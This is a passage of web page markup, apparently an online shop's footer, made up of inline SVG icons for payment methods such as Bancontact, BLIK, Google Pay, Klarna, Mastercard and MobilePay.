12783                <svg xmlns="http://www.w3.org/2000/svg" aria-labelledby="pi-bancontact" role="img" viewBox="0 0 38 24" width="38" height="24"><title id="pi-bancontact">Bancontact</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M4.703 3.077h28.594c.139 0 .276.023.405.068.128.045.244.11.343.194a.9.9 0 0 1 .229.29c.053.107.08.223.08.34V20.03a.829.829 0 0 1-.31.631 1.164 1.164 0 0 1-.747.262H4.703a1.23 1.23 0 0 1-.405-.068 1.09 1.09 0 0 1-.343-.194.9.9 0 0 1-.229-.29.773.773 0 0 1-.08-.34V3.97c0-.118.027-.234.08-.342a.899.899 0 0 1 .23-.29c.098-.082.214-.148.342-.193a1.23 1.23 0 0 1 .405-.068Z" fill="#fff"/><path d="M6.38 18.562v-3.077h1.125c.818 0 1.344.259 1.344.795 0 .304-.167.515-.401.638.338.132.536.387.536.734 0 .62-.536.91-1.37.91H6.38Zm.724-1.798h.537c.328 0 .468-.136.468-.387 0-.268-.255-.356-.599-.356h-.406v.743Zm0 1.262h.448c.438 0 .693-.093.693-.383 0-.286-.219-.404-.63-.404h-.51v.787Zm3.284.589c-.713 0-1.073-.295-1.073-.69 0-.436.422-.69 1.047-.695.156.002.31.014.464.035v-.105c0-.269-.183-.396-.531-.396a2.128 2.128 0 0 0-.688.105l-.13-.474a3.01 3.01 0 0 1 .9-.132c.767 0 1.147.343 1.147.936v1.222c-.214.093-.615.194-1.136.194Zm.438-.497v-.47a2.06 2.06 0 0 0-.37-.036c-.24 0-.427.08-.427.286 0 .185.156.281.432.281a.947.947 0 0 0 .365-.061Zm1.204.444v-2.106a3.699 3.699 0 0 1 1.177-.193c.76 0 1.198.316 1.198.9v1.399h-.719v-1.354c0-.303-.167-.444-.484-.444a1.267 1.267 0 0 0-.459.079v1.719h-.713Zm4.886-2.167-.135.479a1.834 1.834 0 0 0-.588-.11c-.422 0-.652.25-.652.664 0 .453.24.685.688.685.2-.004.397-.043.578-.114l.115.488a2.035 2.035 0 0 1-.75.128c-.865 0-1.365-.453-1.365-1.17 0-.712.495-1.182 1.323-1.182.27-.
12783001.538.043.787.132Zm1.553 2.22c-.802 0-1.302-.47-1.302-1.178 0-.704.5-1.174 1.302-1.174.807 0 1.297.47 1.297 1.173 0 .708-.49 1.179-1.297 1.179Zm0-.502c.37 0 .563-.259.563-.677 0-.413-.193-.672-.563-.672-.364 0-.568.26-.568.672 0 .418.204.677.568.677Zm1.713.449v-2.106a3.699 3.699 0 0 1 1.177-.193c.76 0 1.198.316 1.198.9v1.399h-.719v-1.354c0-.303-.166-.444-.484-.444a1.268 1.268 0 0 0-.459.079v1.719h-.713Zm3.996.053c-.62 0-.938-.286-.938-.866v-.95h-.354v-.484h.355v-.488l.718-.03v.518h.578v.484h-.578v.94c0 .256.125.374.36.374.093 0 .185-.008.276-.026l.036.488c-.149.028-.3.041-.453.04Zm1.814 0c-.713 0-1.073-.295-1.073-.69 0-.436.422-.69 1.047-.695.155.002.31.014.464.035v-.105c0-.269-.183-.396-.532-.396a2.128 2.128 0 0 0-.687.105l-.13-.474a3.01 3.01 0 0 1 .9-.132c.766 0 1.146.343 1.146.936v1.222c-.213.093-.614.194-1.135.194Zm.438-.497v-.47a2.06 2.06 0 0 0-.37-.036c-.24 0-.427.08-.427.286 0 .185.156.281.432.281a.946.946 0 0 0 .365-.061Zm3.157-1.723-.136.479a1.834 1.834 0 0 0-.588-.11c-.422 0-.651.25-.651.664 0 .453.24.685.687.685.2-.004.397-.043.578-.114l.115.488a2.035 2.035 0 0 1-.75.128c-.865 0-1.365-.453-1.365-1.17 0-.712.495-1.182 1.323-1.182.27-.001.538.043.787.132Zm1.58 2.22c-.62 0-.938-.286-.938-.866v-.95h-.354v-.484h.354v-.488l.72-.03v.518h.577v.484h-.578v.94c0 .256.125.374.36.374.092 0 .185-.008.276-.026l.036.488c-.149.028-.3.041-.453.04Z" fill="#1E3764"/><path d="M11.394 13.946c3.803 0 5.705-2.14 7.606-4.28H6.38v4.28h5.014Z" fill="url(#pi-bancontact-a)"/><path d="M26.607 5.385c-3.804 0-5.705 2.14-7.607 4.28h12.62v-4.28h-5.013Z" fill="url(#pi-bancontact-b)"/><defs><linearGradient id="pi-bancontact-a" x1="8.933" y1="12.003" x2="17.734" y2="8.13" gradientUnits="userSpaceOnUse"><stop stop-color="#005AB9"/><stop offset="1" stop-color="#1E3764"/></linearGradient><linearGradient id="pi-bancontact-b" x1="19.764" y1="10.037" x2="29.171" y2="6.235" gradientUnits="userSpaceOnUse"><stop stop-color="#FBA900"/><stop offset="1" stop-color="#FFD800"/></linearGradient></defs></svg>
12784              
12785                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" aria-labelledby="pi-blik"><title id="pi-blik">BLIK</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32z" fill="url(#pi-blik-paint0_linear)"/><path d="M30.343 17.155l-2.785-3.639 2.563-3.236h-2.185l-2.456 3.138V6.78h-1.848v10.375h1.848v-3.532l2.456 3.532h2.407zM18.613 6.78h-1.848v10.366h1.848V6.78zm3.433 3.508h-1.848v6.867h1.848v-6.867z" fill="#fff"/><path d="M13.849 9.573a1.651 1.651 0 100-3.302 1.651 1.651 0 000 3.302z" fill="url(#pi-blik-paint1_radial)"/><path d="M12.041 10.206c-.574 0-1.138.144-1.642.419V6.82H8.534v6.9a3.516 3.516 0 103.507-3.515zm0 5.175a1.643 1.643 0 110-3.286 1.643 1.643 0 010 3.286z" fill="#fff"/><defs><radialGradient id="pi-blik-paint1_radial" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(12.51 6.18) scale(5.41297)"><stop stop-color="red"/><stop offset=".49" stop-color="#E83E49"/><stop offset="1" stop-color="#F0F"/></radialGradient><linearGradient id="pi-blik-paint0_linear" x1="19" y1="4.977" x2="19" y2="55.605" gradientUnits="userSpaceOnUse"><stop/><stop offset=".732" stop-color="#fff"/><stop offset="1" stop-color="#fff"/></linearGradient></defs></svg>
12786              
12787                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" aria-labelledby="pi-eps"> <title id="pi-eps">EPS</title> <path d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" opacity=".07"/> <path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32" fill="#fff"/> <path fill="#71706f" d="M27.745 12.32h-2.322a.465.465 0 01-.468-.464c0-.258.21-.484.468-.484h3.535V9.628h-3.535c-1.233 0-2.237 1.006-2.237 2.236s1.004 2.237 2.237 2.237h2.29c.259 0 .469.205.469.462 0 .258-.21.448-.468.448h-4.912c-.417.796-.822 1.478-1.645 1.82h6.588c1.213-.018 2.205-1.045 2.205-2.265 0-1.22-.992-2.23-2.205-2.247z"/> <path fill="#71706f" d="M18.845 9.628c-1.968 0-3.571 1.612-3.571 3.594V20.697h1.782V16.83h1.785c1.968 0 3.565-1.634 3.565-3.615 0-1.98-1.593-3.587-3.561-3.587zm0 5.383h-1.79v-1.796c0-1.003.8-1.82 
127871.79-1.82s1.796.817 1.796 1.82a1.79 1.79 0 01-1.796 1.796z"/> <path fill="#c8036f" d="M9.634 16.83c-1.685 0-3.101-1.2-3.484-2.768 0 0-.111-.519-.111-.86 0-.342.105-.865.105-.865a3.594 3.594 0 013.482-2.73c1.978 0 3.6 1.608 3.6 3.586v.87H7.973c.31.607.938.948 1.662.948h4.724l.006-5.13c0-.764-.625-1.39-1.39-1.39H6.278c-.764 0-1.39.607-1.39 1.371v6.696c0 .765.626 1.41 1.39 1.41h6.696c.686 0 1.259-.493 1.37-1.138h-4.71z"/> <path fill="#c8036f" d="M9.626 11.31c-.72 0-1.348.44-1.66 1.01h3.32c-.312-.57-.939-1.01-1.66-1.01zM12.659 6.314c0-1.635-1.359-2.96-3.034-2.96-1.647 0-2.987 1.282-3.031 2.879v.91c0 .106.086.21.195.21h1.116c.11 0 .205-.104.205-.21v-.83c0-.815.68-1.48 1.516-1.48.837 0 1.516.665 1.516 1.48v.83c0 .106.089.21.198.21h1.116c.109 0 .202-.104.202-.21v-.83z"/> <g> <path fill="#71706f" d="M20.843 19.142l-.16.914c-.082.462-.384.673-.794.673-.347 0-.616-.226-.538-.672l.161-.914h.249l-.161.913c-.05.285.078.447.32.447.249 0 .462-.148.513-.446l.161-.915h.25zm-.977-.285c0 .076.059.112.121.112.079 0 .164-.057.164-.162 0-.074-.05-.112-.114-.112-.08 0-.17.052-.17.162zm.538-.003c0 .079.06.114.126.114.07 0 .161-.056.161-.159 0-.074-.054-.114-.114-.114-.08 0-.173.052-.173.16zM21.445 19.142l-.112.632a.57.57 0 01.423-.199c.278 0 .47.163.47.465 0 .428-.297.686-.678.686-.148 0-.274-.055-.35-.194l-.042.165h-.218l.276-1.554h.23zm-.175 1.066c-.01.183.11.302.282.302a.444.444 0 00.441-.423c.01-.186-.111-.296-.28-.296a.45.45 0 00-.443.417zM22.68 20.242c-.01.151.11.275.311.275.112 0 .26-.044.34-.12l.126.145a.782.782 0 01-.508.188c-.319 0-.505-.19-.505-.482 0-.388.305-.677.695-.677.356 0 .558.216.437.67h-.896zm.708-.19c.018-.19-.094-.267-.28-.267-.168 0-.323.078-.39.267h.67zM24.193 19.597l-.012.146a.414.414 0 01.357-.17c.107 0 .204.039.255.095l-.139.201a.244.244 0 00-.183-.067.346.346 0 00-.352.3l-.106.595h-.23l.195-1.1h.215zM25.905 19.597l.116.87.422-.87h.257l-.578 1.1h-.27l-.11-.725-.178.36-.192.365h-.27l-.194-1.1h.26l.114.87.424-.87h.199zM26.997 20.242c-.01.151.11.275.311.275.112 0 .26-.044.34-.12l.126.145a.782.782 0 01-.508.188c-.319 0-.505-.19-.505-.482 0-.388.305-.677.695-.677.356 0 .558.216.437.67h-.896zm.708-.19c.018-.19-.094-.267-.28-.267-.168 0-.323.078-.39.267h.67zM28.525 19.597l-.194 1.1H28.1l.195-1.1h.23zm-.204-.3c0 .08.059.12.121.12.09 0 .173-.059.173-.168a.113.113 0 00-.117-.117c-.082 0-.177.054-.177.166zM29.55 19.87c-.072-.081-.164-.104-.274-.104-.152 0-.26.052-.26.148 0 .08.088.114.218.126.201.017.459.085.405.37-.038.205-.244.326-.53.326-.18 0-.353-.04-.47-.204l.151-.163c.083.114.229.161.358.164.11 0 .24-.04.26-.144.02-.098-.067-.136-.228-.152-.188-.018-.394-.087-.394-.296 0-.276.298-.372.522-.372.17 0 .295.038.399.148l-.157.152zM30.278 19.597l-.105.592c-.034.189.051.319.244.319.181 0 .336-.15.367-.334l.101-.576h.231l-.195 1.099h-.208l.015-.16a.573.573 0 01-.412.182c-.271 0-.432-.194-.374-.528l.105-.593h.231zM32.13 20.697l.105-.589c.033-.19-.032-.317-.242-.317-.184 0-.339.148-.37.33l-.1.576h-.232l.195-1.1h.21l-.015.16a.583.583 0 01.403-.176c.27 0 .444.187.384.525l-.106.59h-.233zM32.912 20.848c-.016.152.1.213.296.213.17 0 .354-.095.396-.337l.034-.189c-.1.142-.285.197-.421.197-.283 0-.48-.168-.48-.473 0-.434.323-.685.688-.685.155 0 .294.073.343.199l.038-.176h.224l-.193 1.132c-.071.42-.383.55-.668.55-.34 0-.528-.165-.481-.43h.224zm.065-.633c0 .188.123.302.3.302.477 0 .605-.733.128-.733a.42.42 0 00-.428.43z"/></g></svg>
12788              
12789                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" aria-labelledby="pi-google_pay"><title id="pi-google_pay">Google Pay</title><path d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000" opacity=".07"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32" fill="#FFF"/><path d="M18.093 11.976v3.2h-1.018v-7.9h2.691a2.447 2.447 0 0 1 1.747.692 2.28 2.28 0 0 1 .11 3.224l-.11.116c-.47.447-1.098.69-1.747.674l-1.673-.006zm0-3.732v2.788h1.698c.377.012.741-.135 1.005-.404a1.391 1.391 0 0 0-1.005-2.354l-1.698-.03zm6.484 1.348c.65-.03 1.286.188 1.778.613.445.43.682 1.03.65 1.649v3.334h-.969v-.766h-.049a1.93 1.93 0 0 1-1.673.931 2.17 2.17 0 0 1-1.496-.533 1.667 1.667 0 0 1-.613-1.324 1.606 1.606 0 0 1 .613-1.336 2.746 2.746 0 0 1 1.698-.515c.517-.02 1.03.093 1.49.331v-.208a1.134 1.134 0 0 0-.417-.901 1.416 1.416 0 0 0-.98-.368 1.545 1.545 0 0 0-1.319.717l-.895-.564a2.488 2.488 0 0 1 2.182-1.
1278906zM23.29 13.52a.79.79 0 0 0 .337.662c.223.176.5.269.785.263.429-.001.84-.17 1.146-.472.305-.286.478-.685.478-1.103a2.047 2.047 0 0 0-1.324-.374 1.716 1.716 0 0 0-1.03.294.883.883 0 0 0-.392.73zm9.286-3.75l-3.39 7.79h-1.048l1.281-2.728-2.224-5.062h1.103l1.612 3.885 1.569-3.885h1.097z" fill="#5F6368"/><path d="M13.986 11.284c0-.308-.024-.616-.073-.92h-4.29v1.747h2.451a2.096 2.096 0 0 1-.9 1.373v1.134h1.464a4.433 4.433 0 0 0 1.348-3.334z" fill="#4285F4"/><path d="M9.629 15.721a4.352 4.352 0 0 0 3.01-1.097l-1.466-1.14a2.752 2.752 0 0 1-4.094-1.44H5.577v1.17a4.53 4.53 0 0 0 4.052 2.507z" fill="#34A853"/><path d="M7.079 12.05a2.709 2.709 0 0 1 0-1.735v-1.17H5.577a4.505 4.505 0 0 0 0 4.075l1.502-1.17z" fill="#FBBC04"/><path d="M9.629 8.44a2.452 2.452 0 0 1 1.74.68l1.3-1.293a4.37 4.37 0 0 0-3.065-1.183 4.53 4.53 0 0 0-4.027 2.5l1.502 1.171a2.715 2.715 0 0 1 2.55-1.875z" fill="#EA4335"/></svg>
12790
12791              
12792                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 38 24" width="38" height="24" role="img" aria-labelledby="pi-spidealwero"><title id="pi-spidealwero">iDEAL Wero</title><path opacity="0.07" d="M35 0H3C1.3 0 0 1.3 0 3V21C0 22.7 1.4 24 3 24H35C36.7 24 38 22.7 38 21V3C38 1.3 36.6 0 35 0Z" fill="black"/><path d="M35 1C36.1 1 37 1.9 37 3V21C37 22.1 36.1 23 35 23H3C1.9 23 1 22.1 1 21V3C1 1.9 1.9 1 3 1H35Z" fill="#FFF48D"/><path d="M3.45001 7.43572V17.0022C3.45001 17.4602 3.82664 17.8347 4.28673 17.8347H10.0301C14.3722 17.8347 16.2539 15.4157 16.2539 12.2063C16.2539 8.99693 14.3715 6.60321 10.0294 6.60321H4.28603C3.82594 6.60321 3.44931 6.97773 3.44931 7.43572H3.45001Z" fill="white"/><path d="M7.29413 8.95133V16.0203H10.385C13.1918 16.0203 14.4087 14.4422 14.4087 12.2112C14.4087 9.98022 13.1911 8.41901 10.385 8.41901H7.82926C7.53259 8.41901 7.29413 8.66027 7.29413 8.95204V8.95133Z" fill="#CC0066"/><path fill-rule="evenodd" clip-rule="evenodd" d="M5.03507 17.073H10.0294C13.539 17.073 15.4754 15.3456 15.4754 12.2105C15.4754 10.4038 14.7685 7.36908 10.0294 7.36908H5.03507C4.59182 7.36908 4.23203 7.72677 4.23203 8.16862V16.2742C4.23203 16.7153 4.59182 17.0737 5.03507 17.0737V17.073ZM4.49924 8.16862C4.49924 7.87335 4.7377 7.63559 5.03437 7.63559H10.0287C11.9609 7.63559 15.2068 8.23104 15.2068 12.2105C15.2068 15.1744 13.3665 16.8065 10.0287 16.8065H5.03507C4.7384 16.8065 4.49994 16.5694 4.49994 16.2735V8.16862H4.49924Z" fill="#232323"/><path fill-rule="evenodd" clip-rule="evenodd" d="M8.81464 11.1831C8.72066 11.1494 8.62247 11.1326 8.51586 11.1326V11.1284H7.8082V12.8355H8.52428C8.65122 12.8355 8.76134 12.8102 8.85602 12.7681C8.95 12.7218 9.02785 12.6629 9.08957 12.5872C9.15129 12.5114 9.19618 12.4188 9.22844 12.3136C9.25719 12.2084 9.27332 12.0948 9.27332 11.9686C9.27332 11.8255 9.25299 11.7035 9.21581 11.5983C9.17514 11.4973 9.12183 11.4089 9.05661 11.3374C8.98717 11.27 8.90932 11.2153 8.81534 11.1817L8.81464 11.1831ZM8.64702 12.4995C8.59371 12.5163 8.54462 12.5248 8.49132 12.5248V12.529H8.16799V11.4524H8.4296C8.51937 11.4524 8.59301 11.465 8.65473 11.4903C8.71645 11.5155 8.76554 11.5576 8.80201 11.6039C8.83849 11.6502 8.86724 11.7133 8.88407 11.7806C8.9002 11.8479 8.90862 11.9279 8.90862 12.0121C8.90862 12.1088 8.896 12.1846 8.87215 12.2519C8.85108 12.3106 8.81921 12.3649 8.77817 12.4118C8.74305 12.4524 8.69779 12.4829 8.64702 12.5002V12.4995Z" fill="white"/><path d="M10.7504 11.1333V11.4489H9.87441V11.815H10.6803V12.1053H9.87441V12.5219H10.7707V12.8376H9.51041V11.1305H10.7504V11.1347V11.1333Z" fill="white"/><path fill-rule="evenodd" clip-rule="evenodd" d="M12.6244 12.8404L12.0023 11.1333H11.6222L10.9958 12.8404H11.3641L11.4952 12.4616H12.1173L12.2443 12.8404H12.6251H12.6244ZM11.8136 11.5534L12.0226 12.1797H11.5934L11.8101 11.5534H11.8143H11.8136Z" fill="white"/><path d="M13.2178 11.1325V12.5247H14.0278V12.8403H12.8538V11.1332H13.2178V11.1325Z" fill="white"/><path d="M5.85774 12.8656C6.30099 12.8656 6.66009 12.5065 6.66009 12.0625C6.66009 11.6186 6.30099 11.2595 5.85774 11.2595C5.41448 11.2595 5.05539 11.6186 5.05539 12.0625C5.05539 12.5065 5.41448 12.8656 5.85774 12.8656ZM6.33536 16.0771C5.71396 16.0771 5.216 15.5406 5.216 14.8813V13.9478C5.216 13.6181 5.46498 13.3474 5.77778 13.3474C6.09059 13.3474 6.33957 13.6139 6.33957 13.9478V16.0771H6.33536Z" fill="#232323"/><path d="M31.45 12.2209C31.45 11.1773 32.1926 10.2264 33.4749 10.2264C34.7572 10.2264 35.5053 11.178 35.5053 12.2209C35.5053 13.2638 34.7627 14.2154 33.4749 14.2154C32.1926 14.2154 31.45 13.2638 31.45 12.2209ZM34.3782 12.2209C34.3782 11.7178 34.0467 11.2537 33.4749 11.2537C32.9032 11.2537 32.5717 11.7186 32.571
127927 12.2209C32.5717 12.7232 32.9086 13.1889 33.4749 13.1889C34.0412 13.1889 34.3782 12.724 34.3782 12.2209ZM30.6615 12.9619C31.0889 12.7185 31.3455 12.2537 31.3455 11.7404C31.3455 10.9784 30.7948 10.3294 29.94 10.3294H28.1452V14.1132H29.2567V13.146H29.4649L30.1006 14.1132H31.4095L30.6615 12.9619ZM29.7161 12.2747H29.2567V11.2046H29.7216C30.0211 11.2046 30.213 11.4479 30.213 11.7396C30.213 12.0314 30.0148 12.2747 29.7161 12.2747ZM23.0713 10.3247L22.4044 12.5797L21.7539 10.3247H20.8686L20.2126 12.5797L19.5511 10.3247H18.378L19.722 14.1015H20.6868L21.3108 12.0454L21.9294 14.1015H22.8997L24.2436 10.3247H23.0705H23.0713ZM25.9261 13.1795H25.9237C25.508 13.1795 25.2163 12.9284 25.0915 12.5961H27.9159C27.9385 12.4713 27.9502 12.3434 27.9502 12.2139C27.9502 11.1734 27.21 10.2241 25.9261 10.2233V11.2482C26.3442 11.249 26.6328 11.5002 26.7568 11.8317H23.9363C23.9137 11.9565 23.902 12.0844 23.902 12.2139C23.902 13.2552 24.643 14.2052 25.923 14.2052H25.9253V13.1795H25.9261Z" fill="#1D1C1C"/><path d="M25.9237 14.2044C25.9674 14.2044 26.0103 14.2029 26.0524 14.2013C26.3122 14.188 26.5485 14.135 26.7591 14.05C26.9697 13.965 27.1546 13.8472 27.3114 13.7052C27.4673 13.5644 27.5983 13.3982 27.699 13.2138C27.7903 13.0469 27.8574 12.8667 27.8995 12.6787H26.7225C26.6983 12.7287 26.6702 12.777 26.6382 12.8215C26.5945 12.8831 26.5431 12.9385 26.4846 12.9861C26.4261 13.0344 26.3605 13.075 26.2888 13.1062C26.217 13.1374 26.1382 13.1592 26.0532 13.1709C26.0119 13.1764 25.969 13.1795 25.9245 13.1795C25.6601 13.1795 25.4456 13.0773 25.2919 12.9174L24.5268 13.6912C24.8668 14.0055 25.3387 14.2036 25.9237 14.2036V14.2044Z" fill="#1D1C1C"/><path d="M25.9237 10.2225C24.838 10.2225 24.1399 10.9058 23.9535 11.7482H25.1266C25.267 11.4581 25.5431 11.2475 25.9237 11.2475C26.2272 11.2475 26.4627 11.3785 26.6164 11.5766L27.3886 10.7958C27.0438 10.4464 26.5477 10.2225 25.9245 10.2225H25.9237Z" fill="#1D1C1C"/><path d="M17.3927 16.431C17.3069 16.431 17.2367 16.3608 17.2367 16.275V8.16296C17.2367 8.07716 17.3069 8.00696 17.3927 8.00696C17.4785 8.00696 17.5487 8.07716 17.5487 8.16296V16.275C17.5487 16.3608 17.4785 16.431 17.3927 16.431Z" fill="#1D1C1C"/></svg>
12793              
12794                <svg xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" viewBox="0 0 38 24" aria-labelledby="pi-klarna" fill="none"><title id="pi-klarna">Klarna</title><rect width="38" height="24" rx="2" fill="#FFA8CD"/><rect x=".5" y=".5" width="37" height="23" rx="1.5" stroke="#000" stroke-opacity=".07"/><path d="M30.62 14.755c-.662 0-1.179-.554-1.179-1.226 0-.673.517-1.226 1.18-1.226.663 0 1.18.553 1.18 1.226 0 .672-.517 1.226-1.18 1.226zm-.33 1.295c.565 0 1.286-.217 1.686-1.068l.04.02c-.176.465-.176.742-.176.81v.11h1.423v-4.786H31.84v.109c0 .069 0 .346.175.81l-.039.02c-.4-.85-1.121-1.068-1.687-1.068-1.355 0-2.31 1.088-2.31 2.522 0 1.433.955 2.521 2.31 2.521zm-4.788-5.043c-.643 0-1.15.228-1.56 1.068l-.039-.02c.175-.464.175-.741.175-.81v-.11h-1.423v4.787h1.462V13.4c0-.662.38-1.078.995-1.078.614 0 .917.356.917 1.068v2.532h1.462v-3.046c0-1.088-.838-1.869-1.989-1.869zm-4.963 1.068l-.039-.02c.176-.464.176-.741.176-.81v-.11h-1.424v4.787h1.463l.01-2.304c0-.673.35-1.078.926-1.078.156 0 .282.02.429.06v-1.464c-.644-.139-1.22.109-1.54.94zm-4.65 2.68c-.664 0-1.18-.554-1.18-1.226 0-.673.516-1.226 1.18-1.226.662 0 1.179.553 1.179 1.226 0 .672-.517 1.226-1.18 1.226zm-.332 1.295c.565 0 1.287-.217 1.687-1.068l.038.02c-.175.465-.175.742-.175.81v.11h1.424v-4.786h-1.424v.109c0 .069 0 .346.175.81l-.038.02c-.4-.85-1.122-1.068-1.687-1.068-1.356 0-2.311 1.088-2.311 2.522 0 1.433.955 2.521 2.31 2.521zm-4.349-.128h1.463V9h-1.463v6.922zM10.136 9H8.644c0 1.236-.751 2.343-1.892 3.134l-.448.317V9h-1.55v6.922h1.55V12.49l2.564 3.43h1.892L8.293 12.64c1.121-.82 1.852-2.096 1.843-3.639z" fill="#0B051D"/></svg>
12795              
12796                <svg viewBox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-maestro"><title id="pi-maestro">Maestro</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><circle fill="#EB001B" cx="15" cy="12" r="7"/><circle fill="#00A2E5" cx="23" cy="12" r="7"/><path fill="#7375CF" d="M22 12c0-2.4-1.2-4.5-3-5.7-1.8 1.3-3 3.4-3 5.7s1.2 4.5 3 5.7c1.8-1.2 3-3.3 3-5.7z"/></svg>
12797              
12798                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" fill="none" aria-labelledby="pi-master"><title id="pi-master">Mastercard</title><rect x=".5" y=".5" width="37" height="23" rx="2.5" stroke="#000" stroke-opacity=".07" fill="none"/><path d="M35 0H3C1.3 0 0 1.3 0 3V21C0 22.7 1.4 24 3 24H35C36.7 24 38 22.7 38 21V3C38 1.3 36.6 0 35 0Z" fill="#1C1C1C" style="fill:#1C1C1C;fill:color(display-p3 0.1098 0.1098 0.1098);fill-opacity:1;"/>
12798<path d="M35 1C36.1 1 37 1.9 37 3V21C37 22.1 36.1 23 35 23H3C1.9 23 1 22.1 1 21V3C1 1.9 1.9 1 3 1H35Z" fill="#232323" style="fill:#232323;fill:color(display-p3 0.1373 0.1373 0.1373);fill-opacity:1;"/><path d="M14.6364 19.2727C18.8538 19.2727 22.2727 15.8538 22.2727 11.6364C22.2727 7.41892 18.8538 4 14.6364 4C10.4189 4 7 7.41892 7 11.6364C7 15.8538 10.4189 19.2727 14.6364 19.2727Z" fill="#EB001B" style="fill:#EB001B;fill:color(display-p3 0.9216 0.0000 0.1059);fill-opacity:1;"/><path d="M23.3637 19.2727C27.5811 19.2727 31 15.8538 31 11.6364C31 7.41892 27.5811 4 23.3637 4C19.1462 4 15.7273 7.41892 15.7273 11.6364C15.7273 15.8538 19.1462 19.2727 23.3637 19.2727Z" fill="#F79E1B" style="fill:#F79E1B;fill:color(display-p3 0.9686 0.6196 0.1059);fill-opacity:1;"/><path d="M22.2727 11.6362C22.2727 9.01797 20.9637 6.72706 19 5.41797C17.0364 6.83615 15.7273 9.12706 15.7273 11.6362C15.7273 14.1452 17.0364 16.5452 19 17.8543C20.9637 16.5452 22.2727 14.2543 22.2727 11.6362Z" fill="#FF5F00" style="fill:#FF5F00;fill:color(display-p3 1.0000 0.3725 0.0000);fill-opacity:1;"/></svg>
12799
12800              
12801                <svg viewBox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-mobilepay"><title id="pi-mobilepay">MobilePay</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path fill-rule="evenodd" clip-rule="evenodd" d="M20.05 15.296s2.53-.771 4.282-.776c2.896-.007 4.857 1.15 4.857 1.15V10.06s-1.97-1.02-4.453-1.09c-2.481-.068-4.687 1.012-4.687 1.012v5.313z" fill="#5A78FF"/><path fill-rule="evenodd" clip-rule="evenodd" d="M17.308 9.19l2.082 4.957V9.396s1.646-.882 3.485-1.13c1.84-.249 4.181.08 4.181.08l-1.133-2.707s-2.461-.159-4.69.794c-2.228.952-3.925 2.756-3.925 2.756z" fill="#5A78FF"/><path d="M21.428 5.676l-.82-1.99a1.818 1.818 0 00-2.37-.996l-5.663 2.334a1.818 1.818 0 00-.98 2.376l5.46 13.247a1.818 1.818 0 002.37.995l5.662-2.334a1.817 1.817 0 00.98-2.376l-.677-1.642s-.462-.027-.676-.033c-.226-.006-.644-.001-.644-.001l.88 2.136a.606.606 0 01-.326.793l-5.663 2.333a.606.606 0 01-.79-.331L12.711 6.94a.606.606 0 01.327-.792L18.7 3.814a.606.606 0 01.79.332l.83 2.011s.383-.187.59-.27c.206-.082.518-.211.518-.211z" fill="#5A78FF"/></svg>
12802              
